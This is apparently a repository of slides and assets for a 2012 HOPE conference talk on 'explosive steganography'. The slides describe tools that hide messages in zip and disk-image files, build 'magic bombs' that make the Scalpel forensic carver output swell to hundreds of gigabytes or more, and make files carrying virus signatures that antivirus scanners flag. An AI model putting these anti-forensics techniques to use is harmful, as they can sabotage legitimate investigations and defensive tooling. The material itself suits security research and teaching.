├── art ├── nak.png ├── poo.png ├── trex.png ├── lights1.png ├── lights2.png ├── lights3.png ├── lights4.png ├── lights5.png ├── pedocom.png ├── phx2600.png ├── thanks.png ├── waldo2.png ├── filesystem.png ├── guards_no2.png ├── heatsync.png ├── scalpel-02.png ├── scalpel-03.png ├── scalpel-04.png ├── scalpelcat.png ├── shave_head.png ├── apopheniaave.png ├── filesystem3.png ├── filesystem4.png ├── guards_yes2.png ├── scalpelcat2.png ├── spy_message1.png ├── spy_message2.png ├── spy_message3.png ├── medicinestorm.png ├── 42-01.svg ├── 42-07.svg ├── pedoscalp.svg ├── eziplode_04mids2.svg ├── filesystem2.svg ├── stego1.svg ├── scalpel-01.svg ├── stego2.svg ├── eziplode_05footer.svg ├── eziplode_03header.svg ├── eziplode_01normalfile.svg ├── EICAR.svg ├── id3.svg ├── stegobin.svg ├── eziplode_04mids1.svg ├── eziplode_07offsets.svg └── eziplode_02zipfile.svg ├── screenshots ├── pdf.png ├── zip.png ├── eziplode01.png ├── eziplode02.png ├── hivasaur01.png ├── hivasaur02.png ├── hivasaur03.png ├── hivsneeze01.png ├── hivsneeze02.png ├── magicbomb01.png ├── magicbomb02.png ├── magicbomb04.png ├── zipmouth01.png ├── zipmouth02.png ├── zipmouth03.png ├── zipmouth04.png ├── magicbomb-a-01.png ├── magicbomb-a-02.png ├── magicbomb-a-03.png ├── magicbomb-a-04.png ├── magicbomb-a-05.png ├── magicbomb-a-06.png └── plaintext01-2.png ├── README ├── eziplode.html ├── magicbomb.html ├── hivasaur.html ├── hivsneeze.html ├── magicbombosaur.html ├── zipmouth.html ├── css ├── ezipload.css └── stego.css ├── ZIPmouth.pl └── eZIPlode.pl /art/nak.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/nak.png -------------------------------------------------------------------------------- /art/poo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/poo.png -------------------------------------------------------------------------------- /art/trex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/trex.png -------------------------------------------------------------------------------- /art/lights1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/lights1.png -------------------------------------------------------------------------------- /art/lights2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/lights2.png -------------------------------------------------------------------------------- /art/lights3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/lights3.png -------------------------------------------------------------------------------- /art/lights4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/lights4.png -------------------------------------------------------------------------------- /art/lights5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/lights5.png -------------------------------------------------------------------------------- /art/pedocom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/pedocom.png -------------------------------------------------------------------------------- /art/phx2600.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/phx2600.png -------------------------------------------------------------------------------- /art/thanks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/thanks.png -------------------------------------------------------------------------------- /art/waldo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/waldo2.png -------------------------------------------------------------------------------- /art/filesystem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/filesystem.png -------------------------------------------------------------------------------- /art/guards_no2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/guards_no2.png -------------------------------------------------------------------------------- /art/heatsync.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/heatsync.png -------------------------------------------------------------------------------- /art/scalpel-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/scalpel-02.png -------------------------------------------------------------------------------- /art/scalpel-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/scalpel-03.png -------------------------------------------------------------------------------- /art/scalpel-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/scalpel-04.png -------------------------------------------------------------------------------- /art/scalpelcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/scalpelcat.png -------------------------------------------------------------------------------- /art/shave_head.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/shave_head.png -------------------------------------------------------------------------------- /art/apopheniaave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/apopheniaave.png -------------------------------------------------------------------------------- /art/filesystem3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/filesystem3.png -------------------------------------------------------------------------------- /art/filesystem4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/filesystem4.png -------------------------------------------------------------------------------- /art/guards_yes2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/guards_yes2.png -------------------------------------------------------------------------------- /art/scalpelcat2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/scalpelcat2.png -------------------------------------------------------------------------------- /art/spy_message1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/spy_message1.png -------------------------------------------------------------------------------- /art/spy_message2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/spy_message2.png -------------------------------------------------------------------------------- /art/spy_message3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/spy_message3.png -------------------------------------------------------------------------------- /screenshots/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/pdf.png -------------------------------------------------------------------------------- /screenshots/zip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/zip.png -------------------------------------------------------------------------------- /art/medicinestorm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/art/medicinestorm.png -------------------------------------------------------------------------------- /screenshots/eziplode01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/eziplode01.png -------------------------------------------------------------------------------- /screenshots/eziplode02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/eziplode02.png -------------------------------------------------------------------------------- /screenshots/hivasaur01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/hivasaur01.png -------------------------------------------------------------------------------- /screenshots/hivasaur02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/hivasaur02.png -------------------------------------------------------------------------------- /screenshots/hivasaur03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/hivasaur03.png -------------------------------------------------------------------------------- /screenshots/hivsneeze01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/hivsneeze01.png -------------------------------------------------------------------------------- /screenshots/hivsneeze02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/hivsneeze02.png -------------------------------------------------------------------------------- /screenshots/magicbomb01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb01.png -------------------------------------------------------------------------------- /screenshots/magicbomb02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb02.png -------------------------------------------------------------------------------- /screenshots/magicbomb04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb04.png -------------------------------------------------------------------------------- /screenshots/zipmouth01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/zipmouth01.png -------------------------------------------------------------------------------- /screenshots/zipmouth02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/zipmouth02.png -------------------------------------------------------------------------------- /screenshots/zipmouth03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/zipmouth03.png -------------------------------------------------------------------------------- /screenshots/zipmouth04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/zipmouth04.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-01.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-02.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-03.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-04.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-05.png -------------------------------------------------------------------------------- /screenshots/magicbomb-a-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/magicbomb-a-06.png -------------------------------------------------------------------------------- /screenshots/plaintext01-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XlogicX/Explosive-Steganography/HEAD/screenshots/plaintext01-2.png -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This is the location of my scripts and presentation files for 2 | (Hackers on Planet Earth) Number 9. 3 | 4 | Location of Conference: Hotel Pennsylvania in New York City 5 | Time of this talk: 4 pm EST, July 15 2012. 6 | Time talk materials hit GitHub: 4:50 pm EST, July 15 2012 7 | 8 | Scripts tools are all written in perl; so the tools end in .pl 9 | 10 | Presentation is the Explosive Steganography.html, the other 11 | files are supporting files to the main html. 12 | 13 | Any questions, bug reports, trolling: no.axiom@gmail.com 14 | -------------------------------------------------------------------------------- /eziplode.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | eZIPload 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | eZIPload

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | 32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | Return to main Preso 40 |
41 | 42 | 43 | 44 | 45 | 46 |
47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /magicbomb.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Magic Bomb 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | MagicBomb

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | Creating a magic bomb with 6000 magic number repetitions 32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | Running the Scalpel tool on our newly created magic bomb 40 |
41 | 42 |
43 | 44 |
45 | 46 |
47 | - The output of scalpel about an hour later
- A display of the folder size
48 |
49 | 50 |
51 | 52 |
53 | 54 |
55 | Return to main Preso 56 |
57 | 58 | 59 | 60 | 61 |
62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /hivasaur.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | HIVasaur 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | HIVasaur

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | -Running HIVasuar without encryption to create a monster.exe file with a virus signature and an encrypted message
-The screenshot also shows the extraction of the message and displays it
32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | -Same as above, but with encryption this time
40 | Also, we are using the --suckerpunch option; it gives us more detections with the downside of not being random
41 |
42 | 43 |
44 | 45 |
46 | 47 |
48 | -An example of what would happen if we submitted our file to VirusTotal 49 |
50 | 51 |
52 | 53 |
54 | 55 |
56 | Return to main Preso 57 |
58 | 59 | 60 | 61 | 62 | 63 |
64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /hivsneeze.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | HIVsneeze 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | HIVsneeze

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | -Running HIVsneeze to generage 30 'virus' files with various extensions (--spread) 32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | A ClamAV clamscan of the folder with the 30 hivsneezed files 40 |
41 | 42 |
43 | 44 |
45 | 46 |
47 | Opening one of the .pdf files in the Windows 48 |
49 | 50 |
51 | 52 |
53 | 54 |
55 | Opening one of the .zip files in the Windows 56 |
57 | 58 |
59 | 60 |
61 | 62 |
63 | Return to main Preso 64 |
65 | 66 | 67 | 68 | 69 |
70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /art/42-01.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 28 | 46 | 48 | 49 | 51 | image/svg+xml 52 | 54 | 55 | 56 | 57 | 58 | 62 | 70 | 42.zip 82 | 83 | 84 | -------------------------------------------------------------------------------- /magicbombosaur.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Magic Bomb --osaur 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | Magic Bomb --osaur

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | -Running Magic Bomb --osaur without encryption to create out.dd

32 | -Has 6000 repititions; out.dd = 2 MB, potential carving = 175 GB

33 | -Custom header of "STE" and footer of "GO"

34 |
35 | 36 |
37 | 38 |
39 | 40 |
41 | -Hexdump of first 21 lines of out.dd
42 | -You'll see the secret message in the last 4 lines
43 |
44 | 45 |
46 | 47 |
48 | 49 |
50 | -Extracting the stego from out.dd
51 | -Then displaying decrypted.txt
52 |
53 | 54 |
55 | 56 |
57 | 58 |
59 | Same thing as previous slides, but with encryption 60 |
61 | 62 |
63 | 64 |
65 | 66 |
67 | 68 |
69 | 70 |
71 | 72 |
73 | 74 |
75 | Return to main Preso 76 |
77 | 78 | 79 | 80 | 81 |
82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /zipmouth.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ZIPmouth 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

16 |

For the best experience please use the latest Chrome, Safari or Firefox browser.

17 |
18 | 19 | 23 |
24 | 25 |
26 | ZIPmouth

27 |
	-Screenshot Usecases
28 | 
29 | 30 |
31 | -Showing the contents of plaintext.txt 32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 | -Showing contents of folder

40 | -Running tool to 'encrypt' contents of plaintext.txt out to compressed.zip using 42.zip as it's template

41 | -Showing the modified contents of folder 42 |
43 | 44 |
45 | 46 |
47 | 48 |
49 | -Showing the un-encrypted results of the compressed.zip

50 | -Notice that the message is located at the very end of file, right after a fake PK header 51 |
52 | 53 |
54 | 55 |
56 | 57 |
58 | -Showing the current directory

59 | -Extracting the 'stego' from compressed.zip and putting it in plaintext2.txt

60 | -Displaying the contents of plaintext2.txt 61 |
62 | 63 |
64 | 65 |
66 | 67 |
68 | All of the above, but this time with encryption. 69 |
70 | 71 |
72 | 73 |
74 | 75 |
76 | Return to main Preso 77 |
78 | 79 | 80 | 81 | 82 |
83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /art/42-07.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 28 | 46 | 48 | 49 | 51 | image/svg+xml 52 | 54 | 55 | 56 | 57 | 58 | 62 | 73 | 83 | 0-f.dll16.3 GB 99 | 100 | 101 | -------------------------------------------------------------------------------- /art/pedoscalp.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 55 | gif y 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3bgif y 5000000 \x47\x49\x46\x38\x39\x61 \x00\x3bjpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9 png y 20000000 \x50\x4e\x47? \xff\xfc\xfd\xfebmp y 100000 BM??\x00\x00\x00avi y 50000000 RIFF????AVImpg y 50000000 \x00\x00\x01\xba \x00\x00\x01\xb9mpg y 50000000 \x00\x00\x01\xb3 \x00\x00\x01\xb7 95 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /art/eziplode_04mids2.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 54 | 59 | small mid-metadata 75 | Small bits of meta-dataI don't understand, nor doI need to...to do damamge 95 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /art/filesystem2.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 19 | 21 | 22 | 24 | image/svg+xml 25 | 27 | 28 | 29 | 30 | 31 | 33 | 36 | 40 | 44 | 45 | 54 | 55 | 75 | 83 | Magic Bomb 95 | Size after Scalpel: 530 TB 114 | Extracted with Magicbomb --osaur: 126 | Lol.exe, 19 MB,Picked up as Virus 142 | 143 | -------------------------------------------------------------------------------- /art/stego1.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 54 | 62 | 70 | 78 | 86 | 94 | 102 | 110 | 118 | 126 | 134 | 142 | 150 | 158 | 166 | 174 | 182 | 190 | 191 | 192 | -------------------------------------------------------------------------------- /art/scalpel-01.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 28 | 46 | 48 | 49 | 51 | image/svg+xml 52 | 54 | 55 | 56 | 57 | 58 | 62 | 73 | 91 | 99 | <html> <head> <title>Probably an HTML file</title> </head> <body> This page doesn't talk about anything interesting </body></html> 139 | 140 | 141 | -------------------------------------------------------------------------------- /art/stego2.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 54 | 62 | 70 | 78 | 86 | 94 | 102 | 110 | 118 | 126 | 134 | 142 | 150 | 158 | 166 | 174 | 182 | 190 | 191 | 192 | -------------------------------------------------------------------------------- /css/ezipload.css: -------------------------------------------------------------------------------- 1 | html, body, div, span, applet, object, iframe, 2 | h1, h2, h3, h4, h5, h6, p, blockquote, pre, 3 | a, abbr, acronym, address, big, cite, code, 4 | del, dfn, em, img, ins, kbd, q, s, samp, 5 | small, strike, strong, sub, sup, tt, var, 6 | b, u, i, center, 7 | dl, dt, dd, ol, ul, li, 8 | fieldset, form, label, legend, 9 | table, caption, tbody, tfoot, thead, tr, th, td, 10 | article, aside, canvas, details, embed, 11 | figure, figcaption, footer, header, hgroup, 12 | menu, nav, output, ruby, section, summary, 13 | time, mark, audio, video { 14 | margin: 0; 15 | padding: 0; 16 | border: 0; 17 | font-size: 100%; 18 | font: inherit; 19 | vertical-align: baseline; 20 | } 21 | 22 | /* HTML5 display-role reset for older browsers */ 23 | article, aside, details, figcaption, figure, 24 | footer, header, hgroup, menu, nav, section { 25 | display: block; 26 | } 27 | body { 28 | line-height: 1; 29 | } 30 | ol, ul { 31 | list-style: none; 32 | } 33 | blockquote, q { 34 | quotes: none; 35 | } 36 | blockquote:before, blockquote:after, 37 | q:before, q:after { 38 | content: ''; 39 | content: none; 40 | } 41 | 42 | table { 43 | border-collapse: collapse; 44 | border-spacing: 0; 45 | } 46 | 47 | 48 | body { 49 | font-family: Helvetica, Arial, sans-serif; 50 | 51 | min-height: 740px; 52 | 53 | background: rgb(215, 215, 215); 54 | background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(128, 240, 128)), to(rgb(190, 190, 190))); 55 | background: -webkit-radial-gradient(rgb(64, 64, 255), rgb(190, 190, 190)); 56 | background: -moz-radial-gradient(rgb(64, 64, 255), rgb(190, 190, 190)); 57 | background: -o-radial-gradient(rgb(64, 64, 255), rgb(190, 190, 190)); 58 | background: radial-gradient(rgb(64, 64, 255), rgb(190, 190, 190)); 59 | 60 | -webkit-font-smoothing: antialiased; 61 | } 62 | 63 | b, strong { font-weight: bold } 64 | i, em { font-style: italic} 65 | 66 | a { 67 | color: inherit; 68 | text-decoration: none; 69 | padding: 0 0.1em; 70 | background: rgba(255,255,255,0.5); 71 | text-shadow: -1px -1px 2px rgba(100,100,100,0.9); 72 | border-radius: 0.2em; 73 | 74 | -webkit-transition: 0.5s; 75 | -moz-transition: 0.5s; 76 | -ms-transition: 0.5s; 77 | -o-transition: 0.5s; 78 | transition: 0.5s; 79 | } 80 | 81 | a:hover { 82 | background: rgba(255,255,255,1); 83 | text-shadow: -1px -1px 2px rgba(100,100,100,0.5); 84 | } 85 | 86 | /* enable clicking on elements 'hiding' behind body in 3D */ 87 | body { pointer-events: none; } 88 | #impress { pointer-events: auto; } 89 | 90 | /* COMMON STEP STYLES */ 91 | 92 | .step { 93 | width: 900px; 94 | padding: 40px; 95 | 96 | -webkit-box-sizing: border-box; 97 | -moz-box-sizing: border-box; 98 | -ms-box-sizing: border-box; 99 | -o-box-sizing: border-box; 100 | box-sizing: border-box; 101 | 102 | font-family: Helvetica, Arial, sans-serif; 103 | 104 | font-size: 48px; 105 | line-height: 1.5; 106 | } 107 | 108 | .step { 109 | -webkit-transition: opacity 1s; 110 | -moz-transition: opacity 1s; 111 | -ms-transition: opacity 1s; 112 | -o-transition: opacity 1s; 113 | transition: opacity 1s; 114 | } 115 | 116 | /* fade out inactive slides */ 117 | .step:not(.active) { 118 | opacity: 0.3; 119 | } 120 | 121 | /* STEP SPECIFIC STYLES */ 122 | 123 | /* hint on the first slide */ 124 | 125 | .hint { 126 | position: fixed; 127 | left: 0; 128 | right: 0; 129 | bottom: 200px; 130 | 131 | background: rgba(0,0,0,0.5); 132 | color: #EEE; 133 | text-align: center; 134 | 135 | font-size: 50px; 136 | padding: 20px; 137 | 138 | z-index: 100; 139 | 140 | opacity: 0; 141 | 142 | -webkit-transform: translateY(400px); 143 | -moz-transform: translateY(400px); 144 | -ms-transform: translateY(400px); 145 | -o-transform: translateY(400px); 146 | transform: translateY(400px); 147 | 148 | -webkit-transition: opacity 1s, -webkit-transform 0.5s 1s; 149 | -moz-transition: opacity 1s, -moz-transform 0.5s 1s; 150 | -ms-transition: opacity 1s, -ms-transform 0.5s 1s; 151 | -o-transition: opacity 1s, -o-transform 0.5s 1s; 152 | transition: opacity 1s, transform 0.5s 1s; 153 | } 154 | 155 | .impress-on-bored .hint { 156 | opacity: 1; 157 | 158 | -webkit-transition: opacity 1s 5s, -webkit-transform 0.5s; 159 | -moz-transition: opacity 1s 5s, -moz-transform 0.5s; 160 | -ms-transition: opacity 1s 5s, -ms-transform 0.5s; 161 | -o-transition: opacity 1s 5s, -o-transform 0.5s; 162 | transition: opacity 1s 5s, transform 0.5s; 163 | 164 | -webkit-transform: translateY(0px); 165 | -moz-transform: translateY(0px); 166 | -ms-transform: translateY(0px); 167 | -o-transform: translateY(0px); 168 | transform: translateY(0px); 169 | } 170 | 171 | /* impress.js title */ 172 | 173 | #title { 174 | padding: 0; 175 | } 176 | 177 | #title .try { 178 | font-size: 64px; 179 | position: absolute; 180 | top: -0.5em; 181 | left: 1.5em; 182 | 183 | -webkit-transform: translateZ(20px); 184 | -moz-transform: translateZ(20px); 185 | -ms-transform: translateZ(20px); 186 | -o-transform: translateZ(20px); 187 | transform: translateZ(20px); 188 | } 189 | 190 | #title h1 { 191 | font-size: 190px; 192 | 193 | -webkit-transform: translateZ(50px); 194 | -moz-transform: translateZ(50px); 195 | -ms-transform: translateZ(50px); 196 | -o-transform: translateZ(50px); 197 | transform: translateZ(50px); 198 | } 199 | 200 | #title .footnote { 201 | font-size: 32px; 202 | } 203 | 204 | /* on overview step everything is visible */ 205 | 206 | .impress-on-overview .step { 207 | opacity: 1; 208 | cursor: pointer; 209 | } 210 | 211 | /* 212 | * SLIDE STEP STYLES 213 | * 214 | * inspired by: http://html5slides.googlecode.com/svn/trunk/styles.css 215 | * 216 | * ;) 217 | */ 218 | 219 | .slide { 220 | display: block; 221 | 222 | width: 900px; 223 | height: 700px; 224 | 225 | padding: 40px 60px; 226 | 227 | border-radius: 10px; 228 | 229 | background-color: white; 230 | 231 | box-shadow: 0 2px 6px rgba(0, 0, 0, .1); 232 | border: 1px solid rgba(0, 0, 0, .3); 233 | 234 | font-family: Helvetica, Arial, sans-serif; 235 | 236 | color: rgb(102, 102, 102); 237 | text-shadow: 0 2px 2px rgba(0, 0, 0, .1); 238 | 239 | font-size: 30px; 240 | line-height: 36px; 241 | 242 | letter-spacing: -1px; 243 | } 244 | 245 | .slide q { 246 | display: block; 247 | font-size: 50px; 248 | line-height: 72px; 249 | 250 | margin-top: 100px; 251 | } 252 | 253 | .slide q strong { 254 | white-space: nowrap; 255 | } 256 | 257 | 258 | /* IMPRESS NOT SUPPORTED STYLES */ 259 | 260 | .fallback-message { 261 | font-family: sans-serif; 262 | line-height: 1.3; 263 | 264 | display: none; 265 | width: 780px; 266 | padding: 10px 10px 0; 267 | margin: 20px auto; 268 | 269 | border-radius: 10px; 270 | border: 1px solid #E4C652; 271 | background: #EEDC94; 272 | } 273 | 274 | .fallback-message p { 275 | margin-bottom: 10px; 276 | } 277 | 278 | .impress-disabled .step, 279 | .impress-not-supported .step { 280 | position: relative; 281 | opacity: 1; 282 | margin: 20px auto; 283 | } 284 | 285 | .impress-not-supported .fallback-message { 286 | display: block; 287 | } 288 | -------------------------------------------------------------------------------- /css/stego.css: -------------------------------------------------------------------------------- 1 | html, body, div, span, applet, object, iframe, 2 | h1, h2, h3, h4, h5, h6, p, blockquote, pre, 3 | a, abbr, acronym, address, big, cite, code, 4 | del, dfn, em, img, ins, kbd, q, s, samp, 5 | small, strike, strong, sub, sup, tt, var, 6 | b, u, i, center, 7 | dl, dt, dd, ol, ul, li, 8 | fieldset, form, label, legend, 9 | table, caption, tbody, tfoot, thead, tr, th, td, 10 | article, aside, canvas, details, embed, 11 | figure, figcaption, footer, header, hgroup, 12 | menu, nav, output, ruby, section, summary, 13 | time, mark, audio, video { 14 | margin: 0; 15 | padding: 0; 16 | border: 0; 17 | font-size: 100%; 18 | font: inherit; 19 | vertical-align: baseline; 20 | } 21 | 22 | /* HTML5 display-role reset for older browsers */ 23 | article, aside, details, figcaption, figure, 24 | footer, header, hgroup, menu, nav, section { 25 | display: block; 26 | } 27 | body { 28 | line-height: 1; 29 | } 30 | ol, ul { 31 | list-style: none; 32 | } 33 | blockquote, q { 34 | quotes: none; 35 | } 36 | blockquote:before, blockquote:after, 37 | q:before, q:after { 38 | content: ''; 39 | content: none; 40 | } 41 | 42 | table { 43 | border-collapse: collapse; 44 | border-spacing: 0; 45 | } 46 | 47 | 48 | body { 49 | font-family: Helvetica, Arial, sans-serif; 50 | 51 | min-height: 740px; 52 | 53 | background: rgb(215, 215, 215); 54 | background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(128, 240, 128)), to(rgb(190, 190, 190))); 55 | background: -webkit-radial-gradient(rgb(128, 240, 128), rgb(190, 190, 190)); 56 | background: -moz-radial-gradient(rgb(128, 240, 128), rgb(190, 190, 190)); 57 | background: -o-radial-gradient(rgb(128, 